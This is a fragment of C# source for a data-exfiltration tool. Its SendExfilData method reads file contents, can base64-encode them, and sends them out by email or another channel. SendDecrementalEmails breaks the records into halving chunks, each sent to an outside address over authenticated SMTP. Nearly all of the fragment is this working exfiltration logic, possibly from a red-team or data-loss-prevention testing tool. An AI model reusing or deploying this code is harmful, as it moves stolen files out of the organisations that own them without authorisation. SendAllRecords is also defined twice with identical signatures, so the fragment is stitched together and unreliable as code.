public int SendDecrementalEmails(DataRecordCollection data, string destination)
{
int sent = 0;
int current_chunk = data.GetShape().Rows;
while (sent < data.GetShape().Rows)
{
current_chunk /= 2;
if (current_chunk == 0)
{
++current_chunk; //we need at least one more record if its here and the chunk size is zero
}
int records_to_send = 0;
if (sent + current_chunk >= data.GetShape().Rows)
{
records_to_send = data.GetShape().Rows - sent;
}
else
{
records_to_send = current_chunk;
}
DataRecordCollection drc = new DataRecordCollection(data.Schema);
foreach (DataRecord d in data.GetRecords().Skip(sent).Take(records_to_send))
{
drc.AddRecord(d);
}
SendAllRecords(drc, destination);
sent += records_to_send;
}
return(sent);
}
/// <summary>
/// send all records at once
/// </summary>
/// <param name="data">what to send</param>
/// <param name="destination">what email address to send to</param>
/// <returns>the number of records sent is returened, ie the row shape of the data</returns>
public int SendAllRecords(DataRecordCollection data, string destination)
{
var fromAddress = new MailAddress(email_from, email_from.Split('@')[0]);
var toAddress = new MailAddress(destination, destination.Split('@')[0]);
string email_body = this.body + "\n" + data.ToString();
var smtp = new SmtpClient
{
Host = server,
Port = Port,
EnableSsl = ssl,
DeliveryMethod = SmtpDeliveryMethod.Network,
UseDefaultCredentials = false,
Credentials = new NetworkCredential(fromAddress.Address, password)
};
using (var msg = new MailMessage(fromAddress, toAddress)
{
Subject = subject_line,
Body = email_body
})
{
smtp.Send(msg);
}
return(data.GetShape().Rows);
}
public int SendAllRecords(DataRecordCollection data, string destination)
{
string sending_body = email_body;
sending_body += Environment.NewLine;
sending_body += data.ToString();
SendMailItem(destination, sending_body);
return(data.GetShape().Rows);
}
public int SendExfilData(Options opts)
{
if ((opts & Options.HTTP_USE_SSL) != 0)
{
throw new NotImplementedException(); //not implemented yet
}
DataRecordCollection data = null;
try
{
if ((opts & Options.DATA_ENCODE_TO_B64) != 0)
{
data = reader.GetFileContents(true); //do we b64 encode the data?
}
else
{
data = reader.GetFileContents();
}
}
catch (Exception e)
{
Console.WriteLine(e.Message);
throw new InvalidDataException("The file reader failed to fetch file contents");
}
if (data == null)
{
throw new InvalidOperationException();
}
if (data.GetShape().Rows > 0) //make sure we have work to do
{
if (email_sender != null) //see if we are sending via email
{
return(HandleEmailSender(data, opts));
}
else if (sender != null) //see if we are sending via non email
{
return(HandleGenericSender(data, opts));
}
}
return(0);
}